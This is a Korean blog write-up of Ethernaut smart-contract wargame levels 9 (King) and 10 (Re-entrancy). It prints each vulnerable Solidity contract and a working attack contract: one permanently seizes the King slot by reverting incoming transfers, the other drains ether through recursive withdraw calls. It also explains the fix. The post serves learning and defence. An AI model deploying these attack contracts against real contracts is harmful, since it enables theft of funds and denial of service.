Ethnaut을 통한 컨트랙트 취약점 공부 (9~10번)

Knave·2021년 8월 16일
0

Ethnaut

목록 보기
4/4

9. King

컨트랙트의 특정 변수를 탈취하고, 본인 이후의 탈취는 불가하도록 만드는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

transfer, send 보다 call 사용

solidity call 사용법 ↓

https://vomtom.at/solidity-0-6-4-and-call-value-curly-brackets/

call을 사용했을때는 항상 2개의 리턴 값을 받게된다.
첫번째는 call의 결과로 T,F boolean값

두번째는 만약 함수를 호출했다면 해당 함수의 리턴값을 받게 되는데,
리턴값이 없는 함수면 없다.

king컨트랙트에 king의 자리를 탈환하는 것은 sendTransaction 기능만 사용해도 value에 기존에 설정된 prize의 값보다 크게만 넣는다면 쉽게 가능하다. 그러나 이후 다른 누군가가 새로 탈환을 시도한다면 그 사람도 prize만 높게 넣는다면 쉽게 king의 자리를 얻을 수 있다. 이같은 상황을 아예 막고자한다면 이후의 시도를 막는 추가적인 장치가 필요하다.

cf)

king컨트랙트는 최초로 배포될 때(이더너트에서 get New instance를 누를때) msg.value에 1이더를 담아가도록 사이트에서 설정해놓은 상태이다.

풀이

첫번째 시도

// SPDX-License-Identifier: MIT
contract Succeeding {
    constructor() public {
    }
    
    function Succeed(address payable _king) public payable {
        _king.call{value: msg.value}("");
    }
    
    receive() external payable { // 재탈환 방지 코드
         revert("You shall not pass");
     }
}

call함수의 사용법의 차이인지, 솔리디티 문법 버전의 차이인지 링키비에서는 제대로 작동하지 않아서 코드를 수정하기로 했다.

두번째 시도

// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;

contract Succeeding {

  function Succeed(address addr) public payable {
    (bool result, bytes memory data) = addr.call{value:msg.value}("");
    if(!result) revert("error occured");
  }
  
   receive() external payable { // 재탈환 방지 코드
        revert("You shall not pass");
    }

}

새로 컨트랙트를 만들고 call함수를 통해 기존 King 컨트랙트의 receive 함수를 호출하고 호출할 때 value에 기존 prize보다 높은 값을 줌으로써 king의 자리를 탈환한다.

(Prize보다 높은 값을 주기 위해서는 remix에서 Succeed 함수실행 버튼을 누르기 전에 value에 담고자 하는 값을 넣어주면 해당 값이 msg.value에 담기게 되고, Succeed실행 시 같이 전송된다.)

이렇게 된다면 현재 king에는 새로만든 컨트랙트의 CA주소가, Prize에는 새로 보내준 높은 값이 담겨있게되는데, 여기서 새 컨트랙트의 receive부분이 재탈환을 방지하는 코드가 된다.

원리를 설명하자면, 만약 또다른 사람이 위와 같은 방법으로 탈환시도를 한다면 기존 컨트랙트의

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
---------------------------------------------------------------------------
    king = msg.sender;
    prize = msg.value;
  }

이 부분에서 require부분까지는 prize만 높게 줬다면 통과를 하겠지만, 현재 상황에서 king은 새로운 CA 주소가 들어가있는 상황이기 때문에

king.transfer(msg.value);

이 부분에 접근하는 순간 만들어 두었던 컨트랙트의 receive 함수가 실행이 되면서 해당 접근을 revert 시키게 되고 탈환이 이루어지않은채 종료된다.

코드만 본다면 취약점이 보이지 않지만 이런식으로 코드가 진행되는 순서와 호출하는 값을 정확히 파악한다면 위와같은 취약점이 노출되므로 코드 한줄 한줄에 EVM이 실행되는 사이클이나 원리를 고려하여 보안에 주의해야한다.

cf) receive와 fallback은 상당히 유사한데, 트랜잭션에서 data와 value 둘다 없을 경우 receive가 실행되고, value가 들어있고 data가 비어있을 경우에도 receive가 실행된다. value만을 보내거나, 아무것도 담지 않을 경우에만 receive가 우선적으로 실행된다고 보면되고, 그외의 경우에는 fallback함수가 받는다고 봐도 무방할것 같다.

10. Re-entrancy

컨트랙트 내부의 balance를 탈취하는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

전에 풀었던 CoinFlip 문제와 마찬가지로 SafeMath를 import하거나 기본 연산형으로 바꿔야한다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Reentrance {
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to] + (msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

이번에도 기본 연산형으로 변환하였다.

풀이

contract attack {
    function heist() public payable {
        Reentrance(payable(컨트랙트주소)).donate{value:msg.value}(address(this));
        Reentrance(payable(컨트랙트주소)).withdraw(1 ether);
    }
    receive() external payable {
        Reentrance(payable(컨트랙트주소)).withdraw(1 ether);
    }
    function getdone() public payable {
        payable(msg.sender).transfer(address(this).balance);
    }
}

기존 컨트랙트의 withdraw부분을 목표로, 위와 같이 새로 attack이라는 컨트랙트를 만들고 fallback(receive) 함수를 이용하여 기존 컨트랙트의

 function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
---------------------------------------------------------------------------------
      balances[msg.sender] -= _amount;
---------------------------------------------------------------------------------
    }
  }

점선으로 구분한 부분이 실행되기 전에 이더를 다 빼내오는 방식을 사용한다.

순차적으로 설명을 하자면, 먼저 일정 value를 담고 attack 컨트랙트의 heist 함수를 실행하면

함수의 첫째 줄에서 실행할때 담은 value를 전달하여 Reentrance 컨트랙트에서 Donate함수를 호출하여 실행하게 되고, attack컨트랙트의 CA주소로 value만큼의 값이 balances 매핑에 기록된다.

그 다음으로 둘째 줄에서는 미리 지정한 1이더만큼의 값을 가져오는 withdraw함수를 호출하게 되는데 이 부분에서도 withdraw함수에 입력되는 msg.sender는 attack컨트랙트의 CA주소이다.

그렇게 된다면 withdraw 함수에서

balances[msg.sender] >= _amount
							=
balances[CA address] >= 1 ether

위와 같은 상태가 되는것이므로, heist함수를 실행할때 담아놓은 value가 이더보다만 크다면,

쉽게 말해 예금액이 인출하고자하는 금액보다만 크면 if문이 통과가 된다.

그리고 나서는

(bool result,) = msg.sender.call.value(_amount)("");

이 부분이 실행될 때 위와 동일하게 _amount부분에 똑같이 1 ether를 입력해놓았으므로 msg.sender인 attack CA주소로 1 ether가 입금된다. 그런데 여기서 기존 컨트랙트 설계자의 의도였다면 다음 줄로 넘어가고 잔액에서 1 ether 만큼 빠져야겠지만, attack 컨트랙트에 receive함수를 설정해 놓았기 때문에 다시 withdraw가 실행되는 루프상태와 비슷한 모양이 된다.

CA의 balances가 줄기 전에 이더만 계속 빼내오기 때문에 탈취가 진행되지만, 주의할점은 계속해서 컨트랙트를 호출하는 것이므로 일반적인 트랜잭션 진행보다는 가스비가 많이 들게 된다. 트랜잭션이 생길때 마다 가스비가 든다는 사실에 주의해야한다. 이번 경우에는 기존 컨트랙트에 있던 이더의 액수가 크지 않았고, attack 컨트랙트에서 지정해놓은 탈취 이더량도 1 ether였기 때문에 트랜잭션이 많이 발생하지는 않았다. 0.1이더 등의 작은 단위로 한다면 트랜잭션이 많이 발생하겠지만, 그만큼 작은 단위의 이더도 세세하게 다 탈취할 수 있다.

이와 같은 사항을 방지하기 위해서는

 function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
			balances[msg.sender] -= _amount;
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      
    }
  }

이런식으로 미리 송금분을 제거해주는 부분을 먼저 시행하여야 한다.

이같은 해킹을 를 재진입이라고 부르는데, 동일한 취약점으로 인해 DAO 컨트랙트에서 막대한 규모의 이더를 탈취당한 사례가 있었고, 이후 이 취약점이 널리 알려졌다고 한다.

이러한 방식의 DAO hack을 방지하는 코드또한 쉽게 찾아볼 수 있다.

https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942/

profile
Hello

0개의 댓글